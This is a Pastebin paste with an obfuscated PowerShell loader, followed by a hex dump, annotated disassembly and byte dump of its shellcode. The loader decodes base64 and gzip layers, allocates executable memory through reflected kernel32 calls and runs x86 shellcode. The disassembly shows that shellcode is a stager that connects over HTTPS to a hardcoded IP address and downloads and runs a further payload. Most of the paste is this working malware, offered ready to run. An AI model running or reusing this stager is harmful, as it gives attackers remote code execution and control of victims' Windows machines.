Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("Set-StrictMode -Version 2
- $DoIt = @'
- function func_get_proc_address {
- Param ($var_module, $var_procedure)
- $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
- return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
- }
- function func_get_delegate_type {
- Param (
- [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
- [Parameter(Position = 1)] [Type] $var_return_type = [Void]
- )
- $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
- $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
- $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
- return $var_type_builder.CreateType()
- }
- [Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L1NZWVcArzfcqp5CBS744epsFghOdHpPvGiekxt4fOeZsEHpVKqJ215SCalLxXVZIqq6dGSpfRlxXaKsPCLk0I+1+A2DIuvwGz4sjfcQxABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbw0KAMqL90AqyFjo5UVRwJo/LsnI9ZnsyCcdheiG9gVHoQaiInbJW/aSMkzJj64aMGtBmczMujffdOBkF31uTz7JPVNwCLa0LgIwrQuwkm6rzjLhpdKnXQJn50BJ2zoyPzG2EiocgwaDZtORK6mrrpPb+lMHIUNBgi2bBvmFrH2Kp9C1M9MVoo/Kiet5lssmPZw06f7qMPJCqMRwOFfQY9ranm2E5bjuV7wbr+N+o2+DOp0bonBUXQ6grENWZwE5yxJCkBzKsGLGbkg0zoeb/jhwklEGY0Gh+WUL5ku6RFkAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zM1LjE3Ny41MS4yMDQAUWrcpQ==")
- $var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40)
- [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
- $var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)
- [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null
- '@
- If ([IntPtr]::size -eq 8) {
- start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
- }
- else {
- IEX $DoIt
- }
- "));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
- #####################################################
- Hex dump: fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 e8 00 00 00 00 31 ff 57 57 57 57 57 68 3a 56 79 a7 ff d5 e9 a4 00 00 00 5b 31 c9 51 51 6a 03 51 51 68 bb 01 00 00 53 50 68 57 89 9f c6 ff d5 50 e9 8c 00 00 00 5b 31 d2 52 68 00 32 a0 84 52 52 52 53 52 50 68 eb 55 2e 3b ff d5 89 c6 83 c3 50 68 80 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 ff d5 5f 31 ff 57 57 6a ff 53 56 68 2d 06 18 7b ff d5 85 c0 0f 84 ca 01 00 00 31 ff 85 f6 74 04 89 f9 eb 09 68 aa c5 e2 5d ff d5 89 c1 68 45 21 5e 31 ff d5 31 ff 57 6a 07 51 56 50 68 b7 57 e0 0b ff d5 bf 00 2f 00 00 39 c7 75 07 58 50 e9 7b ff ff ff 31 ff e9 91 01 00 00 e9 c9 01 00 00 e8 6f ff ff ff 2f 53 59 59 57 00 af 37 dc aa 9e 42 05 2e f8 e1 ea 6c 16 08 4e 74 7a 4f bc 68 9e 93 1b 78 7c e7 99 b0 41 e9 54 aa 89 db 5e 52 09 a9 4b c5 75 59 22 aa ba 74 64 a9 7d 19 71 5d a2 ac 3c 22 e4 d0 8f b5 f8 0d 83 22 eb f0 1b 3e 2c 8d f7 10 c4 00 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 4f 57 36 34 3b 20 54 72 69 64 65 6e 74 2f 37 2e 30 3b 20 72 76 3a 31 31 2e 30 29 20 6c 69 6b 65 20 47 65 63 6b 6f 0d 0a 00 ca 8b f7 40 2a c8 58 e8 e5 45 51 c0 9a 3f 2e c9 c8 f5 99 ec c8 27 1d 85 e8 86 f6 05 47 a1 06 a2 22 76 c9 5b f6 92 32 4c c9 8f ae 1a 30 6b 41 99 cc cc ba 37 df 74 e0 64 17 7d 6e 4f 3e c9 3d 53 70 08 b6 b4 2e 02 30 ad 0b b0 92 6e ab ce 32 e1 a5 d2 a7 5d 02 67 e7 40 49 db 3a 32 3f 31 b6 12 2a 1c 83 06 83 66 d3 91 2b a9 ab ae 93 db fa 53 07 21 43 41 82 2d 9b 06 f9 85 ac 7d 8a a7 d0 b5 33 d3 15 a2 8f ca 89 eb 79 96 cb 26 3d 9c 34 e9 fe ea 30 f2 42 a8 c4 70 38 57 d0 63 da da 9e 6d 84 e5 b8 ee 57 bc 1b af e3 7e a3 6f 83 3a 9d 1b a2 70 54 5d 0e a0 ac 43 56 67 01 39 cb 12 42 90 1c ca b0 62 c6 6e 48 34 ce 87 9b fe 38 70 92 51 06 63 41 a1 f9 65 0b e6 4b ba 44 59 00 68 f0 b5 a2 56 ff d5 6a 40 68 00 10 00 00 68 00 00 40 00 57 68 58 a4 53 e5 ff d5 93 b9 00 00 00 00 01 d9 51 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 c6 8b 07 01 c3 85 c0 75 e5 58 c3 e8 89 fd ff ff 33 35 2e 31 37 37 2e 35 31 2e 32 30 34 00 51 6a dc a5
- 0x00000000 fc cld
- 0x00000001 e889000000 call 0x0000008f
- 0x00000006 60 pushad
- 0x00000007 89e5 mov ebp,esp
- 0x00000009 31d2 xor edx,edx
- 0x0000000b 648b5230 fs: mov edx,dword [edx + 48]
- 0x0000000f 8b520c mov edx,dword [edx + 12]
- 0x00000012 8b5214 mov edx,dword [edx + 20]
- 0x00000015 8b7228 mov esi,dword [edx + 40]
- 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
- 0x0000001c 31ff xor edi,edi
- 0x0000001e 31c0 xor eax,eax
- 0x00000020 ac lodsb
- 0x00000021 3c61 cmp al,97
- 0x00000023 7c02 jl 0x00000027
- 0x00000025 2c20 sub al,32
- 0x00000027 c1cf0d ror edi,13
- 0x0000002a 01c7 add edi,eax
- 0x0000002c e2f0 loop 0x0000001e
- 0x0000002e 52 push edx
- 0x0000002f 57 push edi
- 0x00000030 8b5210 mov edx,dword [edx + 16]
- 0x00000033 8b423c mov eax,dword [edx + 60]
- 0x00000036 01d0 add eax,edx
- 0x00000038 8b4078 mov eax,dword [eax + 120]
- 0x0000003b 85c0 test eax,eax
- 0x0000003d 744a jz 0x00000089
- 0x0000003f 01d0 add eax,edx
- 0x00000041 50 push eax
- 0x00000042 8b4818 mov ecx,dword [eax + 24]
- 0x00000045 8b5820 mov ebx,dword [eax + 32]
- 0x00000048 01d3 add ebx,edx
- 0x0000004a e33c jecxz 0x00000088
- 0x0000004c 49 dec ecx
- 0x0000004d 8b348b mov esi,dword [ebx + ecx * 4]
- 0x00000050 01d6 add esi,edx
- 0x00000052 31ff xor edi,edi
- 0x00000054 31c0 xor eax,eax
- 0x00000056 ac lodsb
- 0x00000057 c1cf0d ror edi,13
- 0x0000005a 01c7 add edi,eax
- 0x0000005c 38e0 cmp al,ah
- 0x0000005e 75f4 jnz 0x00000054
- 0x00000060 037df8 add edi,dword [ebp - 8]
- 0x00000063 3b7d24 cmp edi,dword [ebp + 36]
- 0x00000066 75e2 jnz 0x0000004a
- 0x00000068 58 pop eax
- 0x00000069 8b5824 mov ebx,dword [eax + 36]
- 0x0000006c 01d3 add ebx,edx
- 0x0000006e 668b0c4b mov cx,word [ebx + ecx * 2]
- 0x00000072 8b581c mov ebx,dword [eax + 28]
- 0x00000075 01d3 add ebx,edx
- 0x00000077 8b048b mov eax,dword [ebx + ecx * 4]
- 0x0000007a 01d0 add eax,edx
- 0x0000007c 89442424 mov dword [esp + 36],eax
- 0x00000080 5b pop ebx
- 0x00000081 5b pop ebx
- 0x00000082 61 popad
- 0x00000083 59 pop ecx
- 0x00000084 5a pop edx
- 0x00000085 51 push ecx
- 0x00000086 ffe0 jmp eax
- 0x00000088 58 pop eax
- 0x00000089 5f pop edi
- 0x0000008a 5a pop edx
- 0x0000008b 8b12 mov edx,dword [edx]
- 0x0000008d eb86 jmp 0x00000015
- 0x0000008f 5d pop ebp
- 0x00000090 686e657400 push 0x0074656e--> 'ten'
- 0x00000095 6877696e69 push 0x696e6977--> 'iniw'
- 0x0000009a 54 push esp
- 0x0000009b 684c772607 push 0x0726774c--> '&wL'
- 0x000000a0 ffd5 call ebp --> kernel32.dll!LoadLibraryA
- 0x000000a2 e800000000 call 0x000000a7
- 0x000000a7 31ff xor edi,edi
- 0x000000a9 57 push edi
- 0x000000aa 57 push edi
- 0x000000ab 57 push edi
- 0x000000ac 57 push edi
- 0x000000ad 57 push edi
- 0x000000ae 683a5679a7 push 0xa779563a--> 'yV:'
- 0x000000b3 ffd5 call ebp --> wininet.dll!InternetOpenA
- 0x000000b5 e9a4000000 jmp 0x0000015e
- 0x000000ba 5b pop ebx
- 0x000000bb 31c9 xor ecx,ecx
- 0x000000bd 51 push ecx
- 0x000000be 51 push ecx
- 0x000000bf 6a03 push 3
- 0x000000c1 51 push ecx
- 0x000000c2 51 push ecx
- 0x000000c3 68bb010000 push 443
- 0x000000c8 53 push ebx
- 0x000000c9 50 push eax
- 0x000000ca 6857899fc6 push 0xc69f8957
- 0x000000cf ffd5 call ebp --> wininet.dll!InternetConnectA
- 0x000000d1 50 push eax
- 0x000000d2 e98c000000 jmp 0x00000163
- 0x000000d7 5b pop ebx
- 0x000000d8 31d2 xor edx,edx
- 0x000000da 52 push edx
- 0x000000db 680032a084 push 0x84a03200
- 0x000000e0 52 push edx
- 0x000000e1 52 push edx
- 0x000000e2 52 push edx
- 0x000000e3 53 push ebx
- 0x000000e4 52 push edx
- 0x000000e5 50 push eax
- 0x000000e6 68eb552e3b push 0x3b2e55eb--> ';.U'
- 0x000000eb ffd5 call ebp --> wininet.dll!HttpOpenRequestA
- 0x000000ed 89c6 mov esi,eax
- 0x000000ef 83c350 add ebx,80
- 0x000000f2 6880330000 push 0x00003380
- 0x000000f7 89e0 mov eax,esp
- 0x000000f9 6a04 push 4
- 0x000000fb 50 push eax
- 0x000000fc 6a1f push 31
- 0x000000fe 56 push esi
- 0x000000ff 6875469e86 push 0x869e4675--> 'Fu'
- 0x00000104 ffd5 call ebp --> wininet.dll!InternetSetOptionA
- 0x00000106 5f pop edi
- 0x00000107 31ff xor edi,edi
- 0x00000109 57 push edi
- 0x0000010a 57 push edi
- 0x0000010b 6aff push 255
- 0x0000010d 53 push ebx
- 0x0000010e 56 push esi
- 0x0000010f 682d06187b push 0x7b18062d--> '{-'
- 0x00000114 ffd5 call ebp --> wininet.dll!HttpSendRequestA
- 0x00000116 85c0 test eax,eax
- 0x00000118 0f84ca010000 jz 0x000002e8
- 0x0000011e 31ff xor edi,edi
- 0x00000120 85f6 test esi,esi
- 0x00000122 7404 jz 0x00000128
- 0x00000124 89f9 mov ecx,edi
- 0x00000126 eb09 jmp 0x00000131
- 0x00000128 68aac5e25d push 0x5de2c5aa
- 0x0000012d ffd5 call ebp --> kernel32.dll!GetLastError
- 0x0000012f 89c1 mov ecx,eax
- 0x00000131 6845215e31 push 0x315e2145--> '1^!E'
- 0x00000136 ffd5 call ebp
- 0x00000138 31ff xor edi,edi
- 0x0000013a 57 push edi
- 0x0000013b 6a07 push 7
- 0x0000013d 51 push ecx
- 0x0000013e 56 push esi
- 0x0000013f 50 push eax
- 0x00000140 68b757e00b push 0x0be057b7--> '
- W'
- 0x00000145 ffd5 call ebp --> wininet.dll!InternetErrorDlg
- 0x00000147 bf002f0000 mov edi,0x00002f00
- 0x0000014c 39c7 cmp edi,eax
- 0x0000014e 7507 jnz 0x00000157
- 0x00000150 58 pop eax
- 0x00000151 50 push eax
- 0x00000152 e97bffffff jmp 0x000000d2
- 0x00000157 31ff xor edi,edi
- 0x00000159 e991010000 jmp 0x000002ef
- 0x0000015e e9c9010000 jmp 0x0000032c
- 0x00000163 e86fffffff call 0x000000d7
- 0x00000168 2f das
- 0x00000169 53 push ebx
- 0x0000016a 59 pop ecx
- 0x0000016b 59 pop ecx
- 0x0000016c 57 push edi
- 0x0000016d 00af37dcaa9e add byte [edi - 1632969673],ch
- 0x00000173 42 inc edx
- 0x00000174 052ef8e1ea add eax,0xeae1f82e
- 0x00000179 6c insb byte [esi],edx
- 0x0000017a 16 push ss
- 0x0000017b 084e74 or byte [esi + 116],cl
- 0x0000017e 7a4f jpe 0x000001cf
- 0x00000180 bc689e931b mov esp,0x1b939e68
- 0x00000185 787c js 0x00000203
- 0x00000187 e799 out 153,eax
- 0x00000189 b041 mov al,65
- 0x0000018b e954aa89db jmp 0x-2476541c
- 0x00000190 5e pop esi
- 0x00000191 52 push edx
- 0x00000192 09a94bc57559 or dword [ecx + 1500890443],ebp
- 0x00000198 22aaba7464a9 and ch,byte [edx - 1453034310]
- 0x0000019e 7d19 jge 0x000001b9
- 0x000001a0 715d jno 0x000001ff
- 0x000001a2 a2ac3c22e4 mov byte [0xe4223cac],al
- 0x000001a7 d08fb5f80d83 ror byte [edi - 2096236363],1
- 0x000001ad 22eb and ch,bl
- 0x000001af f01b3e lock: sbb edi,dword [esi]
- 0x000001b2 2c8d sub al,0xffffff8d
- 0x000001b4 f710 not dword [eax]
- 0x000001b6 c400 les eax, [eax]
- 0x000001b8 55 push ebp
- 0x000001b9 7365 jnc 0x00000220
- 0x000001bb 722d jc 0x000001ea
- 0x000001bd 41 inc ecx
- 0x000001be 67656e gs: outsb edx,byte [esi]
- 0x000001c1 743a jz 0x000001fd
- 0x000001c3 204d6f and byte [ebp + 111],cl
- 0x000001c6 7a69 jpe 0x00000231
- 0x000001c8 6c insb byte [esi],edx
- 0x000001c9 6c insb byte [esi],edx
- 0x000001ca 61 popad
- 0x000001cb 2f das
- 0x000001cc 352e302028 xor eax,0x2820302e
- 0x000001d1 57 push edi
- 0x000001d2 696e646f777320 imul ebp,dword [esi + 100],0x2073776f
- 0x000001d9 4e dec esi
- 0x000001da 54 push esp
- 0x000001db 2036 and byte [esi],dh
- 0x000001dd 2e313b cs: xor dword [ebx],edi
- 0x000001e0 20574f and byte [edi + 79],dl
- 0x000001e3 57 push edi
- 0x000001e4 36343b ss: xor al,59
- 0x000001e7 20547269 and byte [edx + esi * 2 + 105],dl
- 0x000001eb 64656e fsgs: outsb edx,byte [esi]
- 0x000001ee 742f jz 0x0000021f
- 0x000001f0 37 aaa
- 0x000001f1 2e303b cs: xor byte [ebx],bh
- 0x000001f4 207276 and byte [edx + 118],dh
- 0x000001f7 3a31 cmp dh,byte [ecx]
- 0x000001f9 312e xor dword [esi],ebp
- 0x000001fb 3029 xor byte [ecx],ch
- 0x000001fd 206c696b and byte [ecx + ebp * 2 + 107],ch
- 0x00000201 65204765 gs: and byte [edi + 101],al
- 0x00000205 636b6f arpl word [ebx + 111],bp
- 0x00000208 0d0a00ca8b or eax,0x8bca000a
- 0x0000020d f7402ac858e8e5 test dword [eax + 42],0xe5e858c8
- 0x00000214 45 inc ebp
- 0x00000215 51 push ecx
- 0x00000216 c09a3f2ec9c8f5 rcr byte [edx - 926339521],245
- 0x0000021d 99 cdq
- 0x0000021e ec in al,dx
- 0x0000021f c8271d85 enter 0x00001d27,133
- 0x00000223 e886f60547 call 0x4705f8ae
- 0x00000228 a106a22276 mov eax,dword [0x7622a206]
- 0x0000022d c9 leave
- 0x0000022e 5b pop ebx
- 0x0000022f f692324cc98f not byte [edx - 1882633166]
- 0x00000235 ae scasb
- 0x00000236 1a30 sbb dh,byte [eax]
- 0x00000238 6b4199cc imul eax,dword [ecx - 103],0xffffffcc
- 0x0000023c cc int3
- 0x0000023d ba37df74e0 mov edx,0xe074df37--> 't7'
- 0x00000242 6417 fs: pop ss
- 0x00000244 7d6e jge 0x000002b4
- 0x00000246 4f dec edi
- 0x00000247 3ec9 ds: leave
- 0x00000249 3d537008b6 cmp eax,0xb6087053
- 0x0000024e b42e mov ah,46
- 0x00000250 0230 add dh,byte [eax]
- 0x00000252 ad lodsd
- 0x00000253 0bb0926eabce or esi,dword [eax - 827625838]
- 0x00000259 32e1 xor ah,cl
- 0x0000025b a5 movsd
- 0x0000025c d2a75d0267e7 shl byte [edi - 412679587],cl
- 0x00000262 40 inc eax
- 0x00000263 49 dec ecx
- 0x00000264 db3a fstp [edx]
- 0x00000266 323f xor bh,byte [edi]
- 0x00000268 31b6122a1c83 xor dword [esi - 2095306222],esi
- 0x0000026e 06 push es
- 0x0000026f 8366d391 and dword [esi - 45],0xffffff91
- 0x00000273 2ba9abae93db sub ebp,dword [ecx - 611078485]
- 0x00000279 fa cli
- 0x0000027a 53 push ebx
- 0x0000027b 07 pop es
- 0x0000027c 214341 and dword [ebx + 65],eax
- 0x0000027f 822d9b06f985ac sub byte [0x85f9069b],172
- 0x00000286 7d8a jge 0x00000212
- 0x00000288 a7 cmpsd
- 0x00000289 d0b533d315a2 sal byte [ebp - 1575627981],1
- 0x0000028f 8fca pop edx
- 0x00000291 89eb mov ebx,ebp
- 0x00000293 7996 jns 0x0000022b
- 0x00000295 cb retf
- 0x00000296 263d9c34e9fe es: cmp eax,0xfee9349c
- 0x0000029c ea30f242a8c470 jmp 0x70c4:0xa842f230
- 0x000002a3 3857d0 cmp byte [edi - 48],dl
- 0x000002a6 63da arpl dx,bx
- 0x000002a8 da9e6d84e5b8 ficomp dword [esi - 1192917907]
- 0x000002ae ee out dx,al
- 0x000002af 57 push edi
- 0x000002b0 bc1bafe37e mov esp,0x7ee3af1b
- 0x000002b5 a36f833a9d mov dword [0x9d3a836f],eax
- 0x000002ba 1ba270545d0e sbb esp,dword [edx + 240997488]
- 0x000002c0 a0ac435667 mov al,byte [0x675643ac]
- 0x000002c5 0139 add dword [ecx],edi
- 0x000002c7 cb retf
- 0x000002c8 124290 adc al,byte [edx - 112]
- 0x000002cb 1cca sbb al,0xffffffca
- 0x000002cd b062 mov al,98
- 0x000002cf c66e4834 mov byte [esi + 72],52
- 0x000002d3 ce into
- 0x000002d4 879bfe387092 xchg dword [ebx - 1838139138],ebx
- 0x000002da 51 push ecx
- 0x000002db 06 push es
- 0x000002dc 6341a1 arpl word [ecx - 95],ax
- 0x000002df f9 stc
- 0x000002e0 650be6 gs: or esp,esi
- 0x000002e3 4b dec ebx
- 0x000002e4 ba44590068 mov edx,0x68005944--> 'hYD'
- 0x000002e9 f0b5a2 lock: mov ch,162
- 0x000002ec 56 push esi
- 0x000002ed ffd5 call ebp
- 0x000002ef 6a40 push 64
- 0x000002f1 6800100000 push 4096
- 0x000002f6 6800004000 push 0x00400000
- 0x000002fb 57 push edi
- 0x000002fc 6858a453e5 push 0xe553a458--> 'SX'
- 0x00000301 ffd5 call ebp --> kernel32.dll!VirtualAlloc
- 0x00000303 93 xchg eax,ebx
- 0x00000304 b900000000 mov ecx,0
- 0x00000309 01d9 add ecx,ebx
- 0x0000030b 51 push ecx
- 0x0000030c 53 push ebx
- 0x0000030d 89e7 mov edi,esp
- 0x0000030f 57 push edi
- 0x00000310 6800200000 push 0x00002000
- 0x00000315 53 push ebx
- 0x00000316 56 push esi
- 0x00000317 68129689e2 push 0xe2899612
- 0x0000031c ffd5 call ebp --> wininet.dll!InternetReadFile
- 0x0000031e 85c0 test eax,eax
- 0x00000320 74c6 jz 0x000002e8
- 0x00000322 8b07 mov eax,dword [edi]
- 0x00000324 01c3 add ebx,eax
- 0x00000326 85c0 test eax,eax
- 0x00000328 75e5 jnz 0x0000030f
- 0x0000032a 58 pop eax
- 0x0000032b c3 ret
- 0x0000032c e889fdffff call 0x000000ba
- 0x00000331 33352e313737 xor esi,dword [0x3737312e]
- 0x00000337 2e35312e3230 cs: xor eax,0x30322e31
- 0x0000033d 3400 xor al,0
- 0x0000033f 51 push ecx
- 0x00000340 6adc push 220
- 0x00000342 a5 movsd
- Byte Dump:
- ......`..1.d.R0.R.R..r(..J&1.1..<a|.,......RW.R..B<[email protected]...<I.4...1.1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..X_Z....]hnet.hwiniThLw&........1.WWWWWh:Vy........[1.QQj.QQh....SPhW.....P.....[1.Rh.2..RRRSRPh.U.;......Ph.3....j.Pj.VhuF...._1.WWj.SVh-..{..........1...t....h...]....hE!^1..1.Wj.QVPh.W...../..9.u.XP.{...1............o.../SYYW..7...B.....l..NtzO.h...x|...A.T...^R.K.uY"..td.}.q]..<"......"...>,.....User-Agent:Mozilla/5.0(WindowsNT6.1;WOW64;Trident/7.0;rv:11.0)likeGecko....@*.X..EQ..?.......'......G..."v.[..2L....0kA....7.t.d.}nO>.=Sp.....0...n..2....].g.@I.:2?1..*....f..+......S.!CA.-.....}....3.......y..&=.4...0.B..p8W.c...m....W....~.o.:...pT][email protected]..@.WhX.S...........QS..Wh...SVh........t.......u.X......35.177.51.204.Qj..
Add Comment
Please, Sign In to add comment